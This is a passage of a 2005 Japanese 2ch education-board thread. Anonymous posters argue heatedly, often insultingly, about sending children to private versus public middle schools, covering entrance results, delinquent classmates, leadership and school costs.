一流のサッカー選手を養成するための機関が、全国から若い選手を集めて、彼らを
受け入れるのは近隣の公立中・高というのがニュースであった。

 これが、「優秀な学者を養成」にしたら反対するだろうな。
スポーツのエリート養成はよくて、勉強のエリート養成はだめ。なんでだろう?

572 :実習生さん:2005/04/15(金) 22:19:30 ID:b0ByEJUJ
>562
言葉がちがうんだから厳密な意味がちがうのは当たり前。
そんな当たり前の事でごちゃごちゃいうのは低レベルの脳みそのおまえだけ。w

進学実績も受験学力の養成も入学時の偏差値も大学進学という結果
をだすために必要な要素であり、それらはお互いに非常に相関関係があるんだよ。w
進学実績なんて言葉もどういう言葉の定義で使うかなんて人それぞれなんだからね。
だから他の言葉(現役合格率)なんでもいいんだよ。w

おまえとちがってね、いちいち書いたことをすべて覚えてるほど
2ちゃんのしかもこのスレに没頭してるわけじゃないのよ。w
便所の落書きの感覚で前に書いたことを見直すこともなく書き込みしてるんだよ。w

> AとBが違うなら、
> Aと「C」が違うという例を挙げて・・・・が

ほぼ同意の意味でつかってるんだからAだろうがBだろうがCだろうがどうでもいいんだよ。
お前がばかじゃないならAとBが違う例とAとCが違う例BとCが違う例を
さっさと挙げたらいいだけだぞ。wそれで網羅できるだろ?
おまえはすべて脳内の私立や私立親を語るだけで、
結局具体例を何一つもあげない(あげれない)んだよな。w





573 :実習生さん:2005/04/15(金) 22:25:24 ID:b0ByEJUJ
>565
じゃあ漏れのレスも「>>」や「>」がついてても 
「そのまま反論したわけではない」って事にしといてよ。w
それなら漏れの場合も「すりかえる」にならないんだろ?w
それともこの論理は頭の悪いお前だけに特別に許された手法なのか?w

574 :実習生さん:2005/04/15(金) 23:27:03 ID:b0ByEJUJ
>567
> ましてやそれ以外は「おまけ」などと考えている香具師なんか、相当のDQNでもなけりゃありえない。

だからそういう親が子供を私立にいかせるって言ってるんだよ。w

575 :名無し@教育板:2005/04/16(土) 00:30:18 ID:yTCWdxIR
>>572
つまりおまえは日本語を理解する知能がないということだな。

>>573
>「そのまま反論したわけではない」って事にしといてよ。w

反論しようが同意しようが、おまえはとにかく言葉を理解できないんだから・・・

>>574
>> ましてやそれ以外は「おまけ」などと考えている香具師なんか、相当のDQNでもなけりゃありえない。
>だからそういう親が子供を私立にいかせるって言ってるんだよ。w

妄想のDQN私立親を勝手に創作して、それをテキトーに叩いているだけだな。


576 :実習生さん:2005/04/16(土) 09:07:10 ID:dRuEhykz
>575
結論
受験学力養成以外をおまけと考えている香具師は、子供を私立にいかせる。

なぜなら公立で以上の受験学力の養成力、すなわちその成果である進学実績を
公表したり、アピールしている公立中学は存在しないので
公立中を主体的に選択する可能性はきわめて低い。

漏れはお前とちがって決してこれらの価値観の親を叩くなんて馬鹿なことはしない。
もっといろいろ慎重になったほうがいいとは思うけどね。

叩いてるのはお前のあほな理屈。w
お前の理屈はとにかくそういう親は公立にいく。
理由はないけど公立だ。一応理由はあったかな。
公立はタダってのが理由だったかな?
受けても受からない?受かってもやめさせられる?
どんどん理由も変わっていくし、その根拠も脳内データ。w

577 :563:2005/04/16(土) 10:05:50 ID:Jw7RGSQK
私立は自分ののぞんだとおりの学校だ、とでも
いいたいのか?
答えになってない

578 :実習生さん:2005/04/16(土) 11:19:11 ID:LgQstiZo
>>576
最近は進学実績をアピールしている公立中も少なくないけどね。
そして進学実績の高い公立中に流れる傾向にある。

ちなみに我が家では公立中にする予定。
なぜなら共学志望だけど、近隣には進学実績の良い共学の私立中が無いから。

真ん中より上の子の進学実績を比べてみると、
近所の公立中>近隣の共学私立中 だからね。

579 :実習生さん:2005/04/16(土) 11:39:37 ID:B2L6dyPE
なんかさぁ、最近の中国ナンカの態度を見ていると、子どもには勉強させないとなぁ・・
とか、思っちゃうんだよね。
日本はゆとり教育なんかしていて大丈夫なのか?ってね
中国なんて3流・・・っと思っていたのに、どんどん追い越されて、他のアジア各国も
中国に足並みそろえてきているのが手に取るように解る。
中国がアジアの代表・・・と認知されつつあるようだ

一方、日本ではニートなる者や、生活保護世帯が増え、税金はそういった層や福祉に
消えていく。
ホント、こんなんでいいのかな〜


580 :実習生さん:2005/04/16(土) 11:44:46 ID:EPPvmooO
公立中からでも日比谷とかいけば東大に入れるから別にいいだろ
たしかに私立のほうが進学率は高いが、出来る子を集めているからに過ぎないかもしれないし。

581 :実習生さん:2005/04/16(土) 11:45:50 ID:EPPvmooO
>>579
でも勉強してもそれで国が豊かになるかはわからないよ
ヨーロッパなんか塾とかあまりないけど豊かじゃん
アメリカも中高生からバイトとかしていて塾なんか行かないけど日本より経済力あるだろ

582 :名無し@教育板:2005/04/16(土) 11:51:14 ID:yTCWdxIR
>>577
>>563の質問の仕方がDQNそのものなんだよ。
まず自分が能動的になって考えなきゃ・・・
どういう教育をのぞむかによって自分でみつけるんだよ。


583 :名無し@教育板:2005/04/16(土) 11:57:04 ID:yTCWdxIR
>>576
頭悪いな。

受験学力養成以外をおまけと考えている香具師(=DQN親) が
香具師らから見れば「ウダウダと受験に関係ないことをやらされる」私立中に金を払って行かせるわけないだろ。


584 :実習生さん:2005/04/16(土) 11:59:20 ID:LgQstiZo
最近は「ウダウダと受験に関係ないことをやらされる」私立中の人気(=偏差値)
は低落傾向だから、進学校化する学校が増えているね。
特に女子校。

585 :名無し@教育板:2005/04/16(土) 12:05:39 ID:yTCWdxIR
>>578
>真ん中より上の子の進学実績を比べてみると、
>近所の公立中>近隣の共学私立中 だからね。

つまり、↑は、受験学力養成力@真ん中より上の子 において、
近所の公立中>近隣の共学私立中

>>578が考えているということだ罠。
>>578がそれ以外の教育をおまけとして考えているのかどうかはわからんが、
少なくとも関西人いてるの

>>576
>結論
>受験学力養成以外をおまけと考えている香具師は、子供を私立にいかせる。

とは食い違っているな。



586 :名無し@教育板:2005/04/16(土) 12:14:10 ID:yTCWdxIR
>>584
進学実績とウダウダと受験に関係ないことをやらすこととの相関関係はあんまりないんだよ。
たとえば、豊島岡は毎日運針をやらす。まったく受験と関係ない。
しかし人気はある。

587 :実習生さん:2005/04/16(土) 12:16:18 ID:e4fuulpJ
580みたいなのは公立擁護派の典型的なタイプだなw
いい大学にいければそれでいいのかよ


588 :名無し@教育板:2005/04/16(土) 12:18:57 ID:yTCWdxIR
難関私立だってとくに中学時代は受験に関係ないことをウダウダやっている。
中学から大学受験を意識した授業をやっている学校なんて中堅以下だろ。


589 :実習生さん:2005/04/16(土) 12:20:46 ID:RuF/zRgx
携帯からどうぞ
http://pksp.jp/hutomomo/


590 :実習生さん:2005/04/16(土) 12:21:32 ID:cPvYCLH7
>>579

自己中心的に学生時代を勉強命、学歴命の価値観を持った香具師の志望先が国家一種・・・の時代です。

そんな香具師が国民の幸せなんか考えられるわけ無いでしょ?w
脳内の妄想は机上の空論&理想論。

諸外国相手との交渉も稚拙。

やっぱり公立で揉まれた香具師から、日本を背負う人材が出て欲しいですね。


591 :名無し@教育板:2005/04/16(土) 12:23:55 ID:yTCWdxIR
>>590
>公立で揉まれた

出たよ、公立マンセーの決まり文句(w

592 :実習生さん:2005/04/16(土) 12:48:25 ID:OKOqoCo+
公立で揉まれたと言うより、公立の劣悪な環境に耐えに耐えた生き残りといった
感じだが。
確かに教師も生徒もDQNだらけのなかで生き残った生命力は賞賛に値するけどな。

593 :実習生さん:2005/04/16(土) 12:58:02 ID:2iNp1Ddj
それに、今はむしろ公立のほうが温室だったりする罠

ま、なんにせよ劣悪な環境である公立で過ごした
経験が生きることなんて通常はないと思うがw
公立教師になるって言うんならともかく


594 :実習生さん:2005/04/16(土) 13:19:26 ID:cPvYCLH7
>>591は目先論ww

現実に全体の9割以上が公立経験者の状況で、そういう人々を国全体としてコントロールさせようとするのはどうすればいいのか?

お勉強で豊富な知識を持った人は、公立で揉まれたリーダーをサポートする単なる下僕になればいいんだよww

595 :実習生さん:2005/04/16(土) 13:28:33 ID:fwPDeO/y
公立の劣悪な環境に耐えたら将来役に立つことは何?
バイクの直結とか?

596 :名無し@教育板:2005/04/16(土) 13:31:49 ID:yTCWdxIR
>>594
ある意味での理想だな。
しかし、世界中ほとんどどこでもリーダーも知識を持った下僕(公僕)も1割の層から出ているのが現実。
今まではその1割に公立中出身も含まれていたが、これからはどうかな・・・

597 :実習生さん:2005/04/16(土) 13:49:10 ID:cPvYCLH7
>>595のような短絡的なバカは放置して・・・・w

公立中で揉まれる≠染まるってことであって、DQNになることとは全く違う罠w

いくら知識があっても、国内外のDQNも相手にしなくちゃいけないリーダーは、DQNに逆ギレしないタフなネゴができる資質が必要。
なまじっかオツムが良いと、相手を早々に見切ることの弊害が多いような気がするが。
昨今の私立ブームは、その弊害を増長させる方向も否定できないだろw?

目先論と理想論、どっちもどっちか?w

598 :名無し@教育板:2005/04/16(土) 13:57:58 ID:yTCWdxIR
>>597
言っていることはわかるが、
リーダーだとしたら、DQNと対峙するより、「頭のいい香具師」と対峙する機会の方が多いだろ。
公立中でDQNに揉まれる暇があったら、私立中でもっとひろい世界観(世の中には頭のいい香具師も金持ちもいるということ)を養った方」が有益だし、
よっぽど「揉まれる」と思うが・・・

第一、公立中にいても、DQNとの付き合いはスルーするだけじゃないの?
一緒にコンビニ前でたむろするわけじゃないでしょ?


599 :実習生さん:2005/04/16(土) 14:12:44 ID:cPvYCLH7
これからの時代、リーダーに求められるのは決断力&行動力。
判断が必要とされる時に、あれこれ脳内で悩んじゃダメなんだよ。
代替案が頭の中で多数出現したらダメダメ。
オツムの良さはリーダーには3番目ぐらいの資質。

シミュレーションおよび戦略etcは公僕&下僕が考える。
リーダーは決断し責任を取る。

以上でいいじゃないか?

>第一、公立中にいても、DQNとの付き合いはスルーするだけじゃないの?
一緒にコンビニ前でたむろするわけじゃないでしょ?

スルーするのは似非リーダーだなw
本物は5分ぐらいコンビに前でDQNの雑談に付き合ってやれる度量が必要w

600 :実習生さん:2005/04/16(土) 14:18:22 ID:6NtH5WiZ
ネットの中で理想論ばかりぶちあげてないでもっと実社会へ出た方がいいよ。
世間はすごくシビアだよ。結果が評価されるというより結果がすべて。
前に偏差値と進学実績が大事それ以外はおまけというのがあったけど
その通りで世の中で選べる立場でいるためには高学歴は重要なポイント。
途中が私立か公立かなんてだれも気にしないし、ましてやおまけの
部分なんかただの自己満足にしかすぎない。
職業、家、着る物に車、子供の学校にいたるまで全て選べる立場と
収入の裏付けがあってこそだし。

601 :実習生さん:2005/04/16(土) 14:19:30 ID:uzVYHfLJ
>>586
豊島岡は進学校化したから人気が上がったのであって、運針は昔からやってるが、
進学校化以前は誰も注目しなかった。そんなことわかりきった話でしょ。
進学校化した今は単に学校の個性、ミッション系など他校との違いを作るためのスパイス化してるでしょ。

602 :名無し@教育板:2005/04/16(土) 14:23:50 ID:yTCWdxIR
>>599
前半部は話のスジに関係ないね。

>本物は5分ぐらいコンビに前でDQNの雑談に付き合ってやれる度量が必要w

公立はたいへんだな(w
世界はもっと広いんだけどな。

603 :名無し@教育板:2005/04/16(土) 14:27:33 ID:yTCWdxIR
>>600
>子供の学校にいたるまで全て選べる立場と収入の裏付けがあってこそだし。

自分でこう書いてて、おまえの話は前段階の話なんだって、自分で言ってわかんないか?
自分の目線で見てモノ言うのは十年早いな(w

逆に考えれば、「礼節を知る」のは「衣食足りているから」ってことが読めるはずなんだけどね(w

604 :名無し@教育板:2005/04/16(土) 14:31:45 ID:yTCWdxIR
>>601
話の流れを読んで書け(w

605 :実習生さん:2005/04/16(土) 14:36:09 ID:cPvYCLH7
>前半部は話のスジに関係ないね

漏れのレス「公立中から将来のリーダー輩出論」自体このスレの主旨とは関係ないことは自覚しているんだがw
それに反応しただけで、最初からスジなんて無いぞwww

>公立はたいへんだな(w
世界はもっと広いんだけどな。

まあ、公立のDQNの相手ができる香具師は世界の頭のいい香具師&金持ちの相手も出来る可能性はあるが、その逆の可能性は極低とは言えるな。




606 :名無し@教育板:2005/04/16(土) 14:38:24 ID:yTCWdxIR
ID:cPvYCLH7 の能天気なところは、
公立中行けば「揉まれる」と思っているが、
私立中ではどうなのか、っていう想像力がまったく働かないってことだ罠。
公立中でDQNとコンビニ前でたむろして(5分くらいつきあって)いる間に、
私立の香具師は勉強だけしているとでも思っているのか?

私立は私立なりに揉まれるのよ。


607 :名無し@教育板:2005/04/16(土) 14:40:34 ID:yTCWdxIR
>>605
そうじゃなくて、前半部は私立vs公立に関係ないでしょ。

608 :名無し@教育板:2005/04/16(土) 14:42:44 ID:yTCWdxIR
>>605
>公立のDQNの相手ができる香具師は世界の頭のいい香具師&金持ちの相手も出来る可能性はあるが、その逆の可能性は極低とは言えるな。

あんたの理想的リーダーって、鈴木宗男みたいな香具師なんだろうな(w
あんた松山千春?


609 :実習生さん:2005/04/16(土) 15:14:28 ID:ArtGBClv
公立小→私立小編入→現在私立中高一貫校在学中の
息子が申しておりました。
『学校で先生が敬語を使わないのはおかしい』
『家庭でも丁寧語を使う事はあるけど謙譲語や尊敬語は
毎日通う学校で訓練するのが一番効果がある
英語と同じだよ。言葉は毎日使わなかったら身に付かない』と・・・・
彼は子供なりに公立小と私立小の先生の違いを感じていたようです。
今の中高一貫校も編入の経験から学ぶ場は選ぶ必要が
あると自覚したようで自分で調べて選びました。

610 :実習生さん:2005/04/16(土) 17:45:50 ID:AohehU4T
>>605
>>まあ、公立のDQNの相手ができる香具師は世界の頭のいい香具師&金持ちの相手も出来る可能性はあるが、
>>その逆の可能性は極低とは言えるな。
DQNと交渉?する時、勉強得意な人ならなんとかする力を持ってる予感。
それに素行が悪かった人でも話し合いしてる時に、
周囲の目があるから暴れたりはできないだろうし。


611 :実習生さん:2005/04/16(土) 19:08:29 ID:32BBgo+g
揉まれるんじゃなくて、ビクビクしながら
3年間過ごすだけだろうがw
一方的に攻撃を受けるか、何とか逃げとおすかw

公立って何なんだよwww

612 :実習生さん:2005/04/16(土) 19:19:49 ID:qwDQpgsU
公立中で教務主任をしている近所の人は
数は少ないものの、とても14.5歳の少年とは言えない生徒がいる
はっきり言ってチンピラ、親と話し合いたくても出来ないと言っている。
文京地区といわれているところなのにねえ。
上スレにあった公立中のリーダー的な子ってこんなチンピラ生徒ともつきあっているの?
係わり合いにならないようにしているのではないの?

613 :実習生さん:2005/04/16(土) 21:08:29 ID:IpIWu1T4
私立中高一貫校出身者の私としては、
私立だと純粋培養過ぎてDQNに対する免疫がつかないから、
子供は公立中学に行かせて塾や家庭教師で学力を補って、
学区トップの公立高校から大学に行かせたい。
低偏差値の公立高校出身者は中学レベルの学力もないなんて、
大人になるまで知らなかったよorz

614 :実習生さん:2005/04/16(土) 22:36:45 ID:URwh+q94
公立の現状を知らぬものだからこそいえる発言だなww
613が公立出身だったら
こんなことは言わなかっただろうな
最後の2行はあたりだが。

615 :実習生さん:2005/04/16(土) 23:43:53 ID:XPgcAdO3
>>614
ID変わってるけど613です。
大阪だと学区トップ校は下手な私立よりは大学進学がいいので、
そっちの方がいいなと思ったのですが。
ちなみに最後の2行の内容を書いたのは、
バイトで専門学校に行って愕然としたからです。
あんな異世界があるなんて。

616 :名無し@教育板:2005/04/16(土) 23:53:20 ID:yTCWdxIR
>>615
DQNに対する免疫って・・・

DQNってワクチンじゃないんだから・・・
免疫がつくってことは病気で苦しむわけだし、
ひょっとしたらそのままその病気で死んじゃうことだってあるんだよ。
DQNに接するのはせめて大人になって抵抗力がついてからの方がいいんじゃないの?

617 :♪高校生だぴょ〜ん♪:2005/04/17(日) 00:10:52 ID:EqUPMTyE
だからね、私はね、DQNって何なのかが知りたいワケよ。ねッ?誰かお・し・え・て☆☆

618 :実習生さん:2005/04/17(日) 00:29:54 ID:PKHqFw7r
>>617
自らの理不尽な行為を理不尽だと糾弾されても
その意味すらわからない、人として最低限の想像力を
もたない人々。

かかわると碌なことにならないと、他人に思わせる
だけの逸脱のある人々。

619 :実習生さん:2005/04/17(日) 00:43:57 ID:dln9ah7+
>>616
はしかを大人になってからかかると大事になるように
(実際私は20を越えてからはしかにかかって1ヶ月ほど入院しました)
大人になってからDQNと接しなければならなくなった場合、
耐性がないとショックが大きいと思うのです。
私は専門学校で働いて異世界に接してノイローゼになりました。
世の中にはDQNというものがいて、それに対してどう接すればいいか、
というものを大人になる前に知っていれば、ショックは和らぐと思うのですが。

620 :実習生さん:2005/04/17(日) 00:58:44 ID:tWnJS8DL
公立中だからと言って必ずしもDQNがいるとは限らないからね。

マザー牧場に遊びに行ったほうがDQNと接することができる。
子供にはいい社会経験になったと思う。


621 :実習生さん:2005/04/17(日) 01:12:46 ID:Nb502yff
公立校の最大のメリットは学費が安いことですが総額ベースで
見ると私立より若干お金がかかっています。
公立が安いのは税金が投入された結果安く見えているだけです。

「安かろう悪かろう」ではなく「高かろう悪かろう」なのが公立クオリティ。
こんなんじゃ駄目だ。

622 :実習生さん:2005/04/17(日) 01:35:31 ID:emjnhWv/
まー、血税はドブに激しく捨てられている状態だからな
もったいなすぎwww
税金だから見えないけど、実際は金使ってんだよね
それで、アレか・・・

623 :実習生さん:2005/04/17(日) 01:47:59 ID:A4at8wBY
>>613
何処の私立出身?

624 :実習生さん:2005/04/17(日) 02:54:16 ID:OAdKdeuc
>>616
同意

子供をDQN環境に放り込むなど
免疫どころかトラウマになって一生PTSDで悩む人格障害になる恐れの方があるよ

625 :実習生さん:2005/04/17(日) 03:13:46 ID:jgeGW4nh
俺はすでにトラウマ
性格もおかしくなった
公立でこんな卑屈根性を培ったのだ


626 :実習生さん:2005/04/17(日) 03:44:07 ID:FbqpbfFN
ひねくれた生徒が多いんだよね。>公立中学
なんか、親に粗末に育てられてしまった生徒や、更に、親も教育に無関心な人が多い。
ろくに努力しないのに劣等感や妬みが強い生徒とか、
仮に勉強ができても、心根が卑しく裏表があって性格がねじれていたりする生徒とか、
とにかく、情緒不安定で公正さに欠け、幼稚な生徒が多い。これが公立中学。
親自身も心身良好で、かつ家庭や子供の教育に関心がないと、子供もおかしくなるわな。
まともな親は子供を公立中学になんぞ入れたいと思わん。学校自体もポリシーが感じられないし。

627 :実習生さん:2005/04/17(日) 04:44:53 ID:y+KHqMDr
関東・一部関西ローカルネタなんだけどね・・・札幌・仙台・名古屋・福岡等々、公立王国なんだよね。
模試とかの発表とか、同級生とか同僚とかに出身校きけば私立出身は関東と関西が多いかも。
経験上あんまりくくれないとは思うんだけどね?

628 :♪高校生だぴょ〜ん♪:2005/04/17(日) 06:06:43 ID:EqUPMTyE
626→公立ダカラって教育に無関心な親とは限らナイんぢゃナイ?そりゃ私立に通わせる人ヨリは関心低いカモだケド…友達で親がその子を音楽の道に進めたいらしく、週6日ピアノやバイオリンや何や…ってのもいたし、家カラは私立遠いカラから代わりに塾2コ通わせて県トップの高校にいった人も。

629 :実習生さん:2005/04/17(日) 06:35:37 ID:2ADdqd/K
>>626
>>ひねくれた生徒が多いんだよね。>公立中学

だって、ここにいる私立派なんて、みんな公立で性格が歪んだ連中だもんw

そういうお前もその口だろ?



630 :実習生さん:2005/04/17(日) 08:29:03 ID:3ARPml8T
>>628
>家カラは私立遠いカラから

その人は違うかもしれないが
子供の教育など何も考えず家(大概は集合住宅)を買って
いざ子供を幼稚園・小学校へ通わせる段になって初めて
ΣΣ(゚д゚lll)ズガーン!! ここはDQN地区!?と気付く親が
慌てて塾通いさせるケースが多いね
親の援助などを得て私立小へ脱出できる層はまだ恵まれているが
上記のような家庭は住宅ローンでギリギリ生活、故郷の実家親たちも
裕福じゃないから塾が精一杯
で、子供が高学年や中学になる頃に母親もレジパートなどして
ナントカ私立中の学費を工面
上京移民は実に涙ぐましい努力をしているよねw

631 :実習生さん:2005/04/17(日) 11:59:06 ID:W4j7sFkk
>>630
何故お前はオレの事をそこまで詳しく調べた?


632 :実習生さん:2005/04/17(日) 13:20:10 ID:gmJDBYRU
>>629
いえいえ私立出身の親も多いでしょうね。


633 :名無し@教育板:2005/04/17(日) 13:51:17 ID:y+k62eA0
>>630
>ナントカ私立中の学費を工面
上京移民は実に涙ぐましい努力をしているよねw

いいことじゃん。これが基本だよ。
DQNとそれ以外の差ってまさにここでしょ。


634 :実習生さん:2005/04/17(日) 15:34:38 ID:tWnJS8DL
>>630
周辺の環境もろくに調べずにDQN地区の住宅をつかまされるような親が、
まともな私立を選べるわけが無いと思う。

635 :名無し@教育板:2005/04/17(日) 15:49:32 ID:y+k62eA0
>>634
結果に拘ることはないんだよ。
住宅で「つかまされて」、学校で「つかまされて」・・・
それを傍で見ていて嘲笑しているより、失敗しながらも「涙ぐましい努力をする」姿勢が大切。




636 :名無し@教育板:2005/04/17(日) 16:01:49 ID:y+k62eA0
A)涙ぐましい努力で私立中に入れた→結局子供はマーチ
B)所詮はジアタマ、公立中塾なしで勝手にやらせた→結局東大

というような対比が頻繁に出てきた。
ここで無条件にBをマンセーするのがDQNだな。
DQNってのは結果論だけで、しかもプロセスで手をかけない、金をかけない、一切努力しないのがなお良い、と考えている。
上の場合、Aには細かい失敗があったのかもしれないが、表層的な事実からは、プロセスとしてAの方が正しいと言える。
結果論しかも特殊な事例で正否を判断するのはまさにDQN。

それに、結局以下の比較についても必ずしもBが良いとは言えない。
学歴だけみればそうだが、それ以外、また将来はわからん。



637 :名無し@教育板:2005/04/17(日) 16:05:59 ID:y+k62eA0
DNAなどの遺伝的形質(地頭とか言う香具師が多いね)が人間の能力を左右する可能性は否定しないが、
しかしながら、そのことを「それだけ」と言ってしまっては、そもそも「教育」というものの意味がなくなってしまう。
教育とは努力の有効性を多分に賞賛することによって成立しているのだから。

638 :実習生さん:2005/04/17(日) 17:05:09 ID:U7WsfZSK
>>636
>上の場合、Aには細かい失敗があったのかもしれないが、表層的な事実からは、プロセスとしてAの方が正しいと言える。
Aだからマーチにしか行けなかったとは考えないらしい。(すべて私立は正しいと考える人はこういう思考しかない。)
しかし現実にはそういう人もいる。(すべての人がとは言わんがね。)

>それに、結局以下の比較についても必ずしもBが良いとは言えない。
>学歴だけみればそうだが、それ以外、また将来はわからん。
また下らんことを言っている。
そんなことをいやぁ何でも言える。
今は金持ちだがいつ貧乏になるかもしれん。
今は幸せだが将来とも幸せでいられるかどうかはわからん。
今は国会議員だがいつ痴漢の現行犯で捕まるかもしれん。
etc.
学力、学歴から見て東大の方が良いに決まっている。
それとも東大とマーチをともに合格したらマーチに行くかね?

639 :名無し@教育板:2005/04/17(日) 17:14:22 ID:y+k62eA0
>>638
「関西人いてる」のようだな。

>Aだからマーチにしか行けなかったとは考えないらしい

それもあり得るな。
その辺は説明不足だったかもしれないが、そのような不適合も含めての「細かい失敗」と言うことだ。

>そんなことをいやぁ何でも言える。

DQN頭が炸裂だなあ・・・
教育の成果の問題であって、偶発的なものはまた別の話だ。

>学力、学歴から見て東大の方が良いに決まっている。

それを前提にした話なんだが・・・
必ずしも学力、学歴の獲得のみが教育の成果ではない、
という話なんだが・・・








640 :実習生さん:2005/04/17(日) 17:23:17 ID:Nb502yff
授業時間の大半が学力の向上に当てられているんだから
学力を教育の成果と見るのは大きく間違ってはいないだろう。

641 :名無し@教育板:2005/04/17(日) 17:27:45 ID:y+k62eA0
>>640
学力を教育の成果と見るのは間違ってはいない
しかし、受験学力ないし学歴のみが教育の成果と見るのは完全に間違っている。

当たり前の話だろ?


642 :実習生さん:2005/04/17(日) 17:35:46 ID:Nb502yff
受験学力とかいう訳のわからんものがあるのが問題でしょう。

643 :実習生さん:2005/04/17(日) 17:53:27 ID:tWnJS8DL
「涙ぐましい努力」が親にかかるのか子にかかるのが良く分からないが、
AとBのいずれが正しいかという判断は>>636のデータのみでは出すことができない。

644 :名無し@教育板:2005/04/17(日) 18:07:13 ID:y+k62eA0
>>643
>「涙ぐましい努力」が親にかかるのか子にかかるのが良く分からないが、

>>630嫁。
わざわざ「馬鹿です」って名乗るようなこと書くなよ・・・

>AとBのいずれが正しいかという判断は>>636のデータのみでは出すことができない。

ってことを書いているんだけどね。
わかるわけないよね(w


645 :実習生さん:2005/04/18(月) 01:17:39 ID:lFvSU8KC
石原千秋氏(漱石研究者 大学助教授)の『秘伝 中学入試国語読解法』より

東京大学の学生の保護者は、学歴でも、収入でも、社会的地位でもトップクラスに
ある事は周知の事実である。(中略) 極端に言えば、東大はある特定の階層の
子供が通う大学なのだ。
この階層は高学歴を独占することで自らの階層を維持してきた。別の見方をすれば
日本の社会が学歴によって緩やかに階層化されているからこそ、その隙間を縫って
高学歴を得る事が、庶民が上の階層に移動する手がかりとなり得るのである。

上層階層は階層維持のために、庶民は階層ジャンプのために、子供達を受験に
追いたててきたのだ。


646 :実習生さん:2005/04/18(月) 01:23:08 ID:lFvSU8KC
公立中→公立高と中高一貫私学の大学進学実績の差は中学3年間
の学習量と質の差だと思うぞ。
私立進学校の英数国の年間授業時数は公立中より多い。進度もはやい。
生徒の学力は中学入試の時点で選別されているからボトムが高い。
だからハイレベルな授業が可能。教師も足をひっぱるヤツにレベルを
合わせる必要ないからかなり高度なことまで教えてくれる。
中学一年半で公立中三年間の学習内容が終わり、教科によっては
すぐに高校の内容に入る。
中学でできてしまう差は大きい。


647 :実習生さん:2005/04/18(月) 06:44:34 ID:H9WGlXwk
東大や国立医科は2年後から理科は3科目になるってさ。
ますます、私立一貫の威力が発揮されるね。

648 :実習生さん:2005/04/18(月) 07:28:58 ID:GWA3F+H0
ウチの子は公立です。
月にかかる費用は約1万円。
DQNと言われても安くてよいです(藁
浮いたお金で自分の洋服買ったり、お芝居を観にいったり、旅行に行ったり
してます。
お勉強に関してもほとんど何も言わないので子供からも喜ばれています。
でもまあお金持ちの方は私立に行った方がいいですよね、ははは・・・


649 :実習生さん:2005/04/18(月) 09:35:34 ID:squlsvFN
DQNな親ってどこの学校にもいるよね?

650 :実習生さん:2005/04/18(月) 09:46:31 ID:LZq3adEv
特に公立にね、ははは・・・

651 :実習生さん:2005/04/18(月) 09:52:21 ID:s1FCpVGg
躾と学問は子供に残せる唯一の財産です。

652 :実習生さん:2005/04/18(月) 09:55:24 ID:squlsvFN
公立のことは解らないけど。
でもどんな親がついてても大事なのは6年後だからそんなに気にしない。
親同士そんなに深くお付き合いすることもないし。

653 :実習生さん:2005/04/18(月) 10:39:33 ID:lzC4eYYn
>>648
月にかかる費用は10万円です。
うち一万円が家庭が払うお金。

654 :実習生さん:2005/04/18(月) 11:01:59 ID:squlsvFN
>>653
なんかしつこくないですか?
皆さん家庭から払うお金という意味で話しているのはわかるでしょ。

655 :実習生さん:2005/04/18(月) 11:13:52 ID:zdJwZbKg
なんか、このスレ見てたら結婚してガキ作んのヤァ〜めた!!…アホらしいわ!!

656 :実習生さん:2005/04/18(月) 11:15:36 ID:lzC4eYYn
>>654
公立は安いからDQNでもなんでもいいやーと思っている人が多すぎるから釘をさしているの。

657 :実習生さん:2005/04/18(月) 11:19:35 ID:S/fu6s8p
648それで子供はちゃんと勉強してるならイイケドほっといて学力低くなってレベル低い大学しか入れなかったりしたら子供の将来大変では!?私も勉強したくナイけど自分がやりたい職業につくためにイイ大学行った方が絶対有利だカラしゃ〜なく…今は学歴がないとまずい世の中ですカラね

658 :実習生さん:2005/04/18(月) 11:19:38 ID:squlsvFN
そういうのを余計なお世話っていうの。

659 :実習生さん:2005/04/18(月) 11:21:17 ID:squlsvFN
658は656へです。657さんにではありませんから。

660 :実習生さん:2005/04/18(月) 12:18:40 ID:DdMrUGqw
>>655
それが正解かもw
どうせ日本の将来は暗いし
夫婦で幸せに暮らすのがいいかもよ


661 :実習生さん:2005/04/18(月) 18:38:55 ID:zyPFC9o4
>>660
甘いな >>655は結婚自体を放棄しようとしているのさ

要するに毒男

662 :実習生さん:2005/04/18(月) 19:37:14 ID:QFJuGa14
それもいいんじゃない?
俺はそう思ってる


663 :実習生さん:2005/04/18(月) 22:24:07 ID:S/fu6s8p
子供いた方が人生苦労するカモだけど絶対楽しくなると思います!

664 :実習生さん:2005/04/18(月) 23:32:19 ID:H9WGlXwk
子供がいないってことは、生物として失格でしょう。
生物の目的は子孫を残すことのみですからね。

665 :名無し@教育板:2005/04/19(火) 01:41:12 ID:gEtDhqfP
少子化のひとつの大きな問題は経済問題だね。
子供にコストがかかりすぎるということ。
世界規模のおもに発展途上国での人口増大の問題が逆の意味での経済問題である(子供が家計にプラスになる)のと同じようにね。
安かろう悪かろうの公立中にメスを入れて教育問題を抜本的に改革しなくてはならない。
多くの親が経済的負担に苦しまずに安心して子供を学校にやれるようにしなくてはならない。



666 :実習生さん:2005/04/19(火) 01:43:55 ID:5ApseSV3
改善されない予感。

667 :実習生さん:2005/04/19(火) 01:51:15 ID:wSoBuCjZ
ここのやつみたいに口だけのF野郎しかいねえしな。にほん

668 :実習生さん:2005/04/19(火) 08:08:37 ID:BSw4of0n
>>665
文科省始め官僚や公立の教職員達が
我が子を私立へ入れられる現状が問題ってことだな
公務員が子供を私立へ入れられない程度に
給料を削減すれば良いんじゃないか?

てか、そんな余裕があるなら官舎なんて要らないだろ
私立に使う金があるなら民間賃貸に住めるべ

669 :実習生さん:2005/04/19(火) 12:27:50 ID:B+deyftM
そんなことをしたら
いい人材が官に就職しなくなるww
考えても見ろよ、平気で子を公立なんかにいかせる考えの人間ばかりになってしまったら
今よりひどい惨状になるのは明らか

670 :実習生さん:2005/04/19(火) 14:54:44 ID:PHXYkARg
公立中に進学しても結局は高校受験でふるいにかけられます。
地区のトップ高校に進学できなければ、将来はさほど望めないでしょう。
そう考えると、中学受験をして公立トップ高校以上の大学進学実績がある
中高一貫校に進学する方が賢明だと考えます。

公立派の方の経済面での理由は後付だと思います。
子供の教育や将来を考えていらっしゃる方は、
共働きをしてでも学費を捻出されています。



671 :実習生さん:2005/04/19(火) 15:03:35 ID:GQ8VsOyW
250 :実習生さん :2005/04/18(月) 01:01:19 ID:ZNjtu6Uf
大阪のある市で1番荒れているという中学校に通う現役中3です。

ウチの中学校の現状況
煙草でトイレがつまってる。頑張ってるけど犯人分からん。(生徒は知ってる)
